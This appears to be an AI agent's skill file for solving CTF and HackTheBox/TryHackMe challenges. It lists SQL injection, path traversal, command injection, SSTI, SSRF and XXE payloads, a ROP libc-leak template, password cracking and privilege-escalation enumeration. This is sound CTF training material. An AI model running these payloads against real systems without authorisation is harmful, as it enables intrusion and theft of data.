| name | ctf |
| description | Use when working on CTF (Capture the Flag) challenges, HackTheBox machines, TryHackMe rooms, pwn challenges, reverse engineering, cryptography puzzles, forensics, web exploitation CTF tasks, OSINT challenges, or steganography. Also use when the user says "CTF", "HackTheBox", "HTB", "TryHackMe", "THM", "pwn this", "reverse this binary", "solve this crypto", or "find the flag". |
CTF Challenge Playbook
Philosophy
CTF = time-limited puzzle solving. Speed + methodology beats random exploration.
Always read challenge description twice - the hint is usually there.
Try the obvious first: base64, ROT13, strings, default creds, common exploits.
Never brute force blindly - enumerate first, understand the intended path.
Arguments
<challenge> - challenge name or description
<category> - WEB / CRYPTO / PWN / RE / FORENSICS / OSINT / STEGO / MISC / FULL
Phase 1 - Triage & First Look (ALL Categories)
file challenge.*
xxd challenge | head -20
strings challenge | head -50
binwalk challenge
strings challenge | grep -i "CTF{\|FLAG{\|HTB{\|picoCTF{\|flag{"
grep -r "CTF{\|FLAG{\|HTB{" ./ 2>/dev/null
exiftool challenge.*
steghide info challenge.jpg 2>/dev/null
base64 -d <<< "<suspected_b64>"
echo "<hex>" | xxd -r -p
echo "<rot13>" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
Phase 2 - Web Exploitation (CTF Edition)
curl "https://<target>/login?user=admin'--&pass=x"
curl "https://<target>/search?q=1' UNION SELECT 1,2,3--"
curl "https://<target>/search?q=1' AND SLEEP(5)--"
curl "https://<target>/page?file=../../../../etc/passwd"
curl "https://<target>/page?file=....//....//etc/passwd"
curl "https://<target>/page?file=php://filter/convert.base64-encode/resource=/etc/flag"
curl "https://<target>/page?file=php://filter/read=string.rot13/resource=/etc/flag"
curl "https://<target>/ping?host=127.0.0.1;cat /flag"
curl "https://<target>/exec?cmd=id"
curl "https://<target>/ping?host=127.0.0.1%60cat+/flag%60"
curl "https://<target>/greet?name={{7*7}}"
python3 -c "
import base64, json
tok = '<jwt>'
h = json.loads(base64.urlsafe_b64decode(tok.split('.')[0] + '=='))
p = json.loads(base64.urlsafe_b64decode(tok.split('.')[1] + '=='))
print('Header:', json.dumps(h, indent=2))
print('Payload:', json.dumps(p, indent=2))
"
curl "https://<target>/fetch?url=http://localhost:8080/flag"
curl "https://<target>/fetch?url=file:///etc/flag"
curl -X POST "https://<target>/parse" -H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><!DOCTYPE x [<!ENTITY f SYSTEM "file:///flag">]><x>&f;</x>'
Phase 3 - Cryptography
import base64, codecs, binascii
data = "your_encoded_data"
print("b64:", base64.b64decode(data + "==").decode(errors='replace'))
print("hex:", bytes.fromhex(data).decode(errors='replace'))
print("rot13:", codecs.decode(data, 'rot-13'))
print("morse:", data.replace(".", "").replace("-", ""))
from gmpy2 import iroot
c = int("<ciphertext>", 16)
m, exact = iroot(c, 3)
if exact:
print(bytes.fromhex(hex(m)[2:]).decode())
from sympy import gcd
from Crypto.Util.number import inverse
n = <n>
e1, e2 = <e1>, <e2>
c1, c2 = <c1>, <c2>
def egcd(a, b):
if a == 0: return b, 0, 1
g, x, y = egcd(b % a, a)
return g, y - (b // a) * x, x
_, a, b = egcd(e1, e2)
m = (pow(c1, a, n) * pow(c2, b, n)) % n
print(bytes.fromhex(hex(m)[2:]).decode())
def vigenere_decrypt(ct, key):
ct = ct.upper(); key = key.upper()
return ''.join(chr((ord(c) - ord(k) % 26 + 26) % 26 + ord('A'))
for c, k in zip(ct, (key * 100)[:len(ct)]))
print(vigenere_decrypt("CIPHER", "KEY"))
for key in range(256):
pt = bytes([b ^ key for b in bytes.fromhex("<hex>")])
if all(c in b' abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}!_' for c in pt):
print(f"Key {key}: {pt}")
Phase 4 - Binary Exploitation (PWN)
checksec ./binary
./binary
./binary <<< "$(python3 -c "print('A'*200)")"
strace ./binary
ltrace ./binary
python3 -c "
from pwn import *
p = process('./binary')
p.sendline(cyclic(200))
p.wait()
core = p.corefile
print('Offset:', cyclic_find(core.rsp)) # or core.eip for 32-bit
"
python3 -c "
from pwn import *
elf = ELF('./binary')
libc = ELF('./libc.so.6')
rop = ROP(elf)
# Find gadgets:
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
# Leak libc base via puts(puts_got):
payload = flat({64: [pop_rdi, elf.got['puts'], elf.plt['puts'], elf.sym['main']]})
p = process('./binary')
p.sendline(payload)
puts_addr = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = puts_addr - libc.sym['puts']
print(hex(libc.address))
"
Phase 5 - Reverse Engineering
file binary
strings binary | grep -i "flag\|CTF\|pass\|key\|secret"
objdump -d binary | head -100
readelf -a binary | head -50
analyzeHeadless /tmp/ghidra_project MyProject -import ./binary -postScript PrintTrees.java -scriptPath /opt/ghidra/support
gdb ./binary
ltrace ./binary 2>&1 | grep -i "strcmp\|strncmp\|memcmp"
strace -e trace=all ./binary 2>&1
python3 -c "
from pwn import *
context.arch = 'amd64'
elf = ELF('./binary')
# Find all strings:
for addr, s in elf.strings.items():
if b'flag' in s.lower() or b'CTF' in s: print(hex(addr), s)
"
python3 -c "
import angr
proj = angr.Project('./binary', auto_load_libs=False)
state = proj.factory.entry_state(stdin=angr.SimFile())
simgr = proj.factory.simulation_manager(state)
simgr.explore(find=0x<success_addr>, avoid=0x<fail_addr>)
if simgr.found:
print(simgr.found[0].posix.dumps(0))
"
Phase 6 - Forensics & Steganography
exiftool image.jpg | grep -i "comment\|description\|author\|flag"
steghide extract -sf image.jpg -p ""
steghide extract -sf image.jpg -p "password"
zsteg image.png
binwalk -e image.jpg
foremost image.jpg
sox audio.wav -n stat
ffmpeg -i audio.mp3 -f wav /tmp/out.wav
python3 -c "
import scipy.io.wavfile as wav
import numpy as np
rate, data = wav.read('/tmp/out.wav')
print(data[:100]) # look for patterns
"
wireshark challenge.pcap &
tshark -r challenge.pcap -Y "http" -T fields -e http.request.uri -e http.file_data 2>/dev/null
tshark -r challenge.pcap -Y "ftp" -T fields -e ftp.request.command -e ftp.request.arg 2>/dev/null
tshark -r challenge.pcap --export-objects http,/tmp/http_objects/
tshark -r challenge.pcap -Y "dns.qry.type == 1" -T fields -e dns.qry.name 2>/dev/null
volatility -f memory.dmp imageinfo
volatility -f memory.dmp --profile=<profile> pslist
volatility -f memory.dmp --profile=<profile> cmdline
volatility -f memory.dmp --profile=<profile> filescan | grep -i "flag\|secret"
volatility -f memory.dmp --profile=<profile> dumpfiles -Q <offset> -D /tmp/
fcrackzip -u -D -p /opt/wordlists/rockyou.txt challenge.zip
john --format=zip challenge.zip.hash /opt/wordlists/rockyou.txt
pdfid challenge.pdf
pdf-parser challenge.pdf | grep -i "stream\|filter\|flag"
qpdf --qdf challenge.pdf /tmp/out.pdf
Phase 7 - OSINT
sherlock <username>
whatsmyname <username>
whois <domain>
dig <domain> ANY
theharvester -d <domain> -b all
hunter.io (manual) -> format + sources
holehe <email>
exiftool document.pdf | grep -i "author\|creator\|company\|last.*saved"
site:<target> filetype:pdf
site:<target> inurl:admin
site:<target> intitle:"index of"
"<target>" "flag" site:pastebin.com
Phase 8 - HackTheBox / TryHackMe Machine Methodology
sudo nmap -sV -sC -O -p- <IP> -oA initial
sudo nmap -sV --top-ports 1000 <IP> -T4
gobuster dir -u http://<IP> -w /opt/wordlists/dirb/common.txt -x php,txt,html,bak
nikto -h http://<IP>
whatweb http://<IP>
smbclient -L //<IP>/ -N
crackmapexec smb <IP> --shares
smbmap -H <IP>
smbclient //<IP>/share -N -c "recurse; prompt; mget *"
ftp <IP>
ssh-audit <IP>
sudo -l
find / -perm -4000 2>/dev/null
cat /etc/crontab
ps aux
env
cat /etc/passwd | grep -v nologin
whoami /all
net user; net localgroup administrators
systeminfo | findstr /i "os name\|os version\|hotfix"
wmic process list brief
Get-LocalUser; Get-LocalGroup
find / -name "*.txt" -readable 2>/dev/null | grep -i "flag\|user\|root"
Quick Reference - Common CTF Tools
WEB: burpsuite, sqlmap, ffuf, gobuster, nikto, wfuzz
CRYPTO: cyberchef (online), pycryptodome, gmpy2, hashcat, john
PWN: pwntools, gdb-pwndbg, ghidra, radare2, angr, ROPgadget
RE: ghidra, ida-free, radare2, ltrace, strace, strings
FORENSICS: volatility, wireshark, tshark, binwalk, foremost, exiftool
STEGO: steghide, zsteg, stegsolve, audacity, sonic-visualizer
OSINT: sherlock, theHarvester, holehe, recon-ng
HTB/THM: linpeas, winpeas, metasploit, nmap, netcat, socat
Output
Write flag and solve path to ~/pentest-toolkit/results/<challenge>/ctf_solve.md:
# CTF Solve: <challenge name>
Category: <WEB/CRYPTO/PWN/RE/FORENSICS/OSINT/STEGO>
Platform: HTB / THM / CTFtime
## Flag
CTF{...}
## Vulnerability / Technique
<one-line description of the vulnerability or technique used>
## Solve Path
1. <step 1 - what you tried/found>
2. <step 2>
3. <step 3 - flag found here>
## Key Command
<the single most important command that got the flag>
## Lessons Learned
<what made this non-obvious / what to look for next time>
Tell user: "CTF solved! Flag: . Solve written to ctf_solve.md."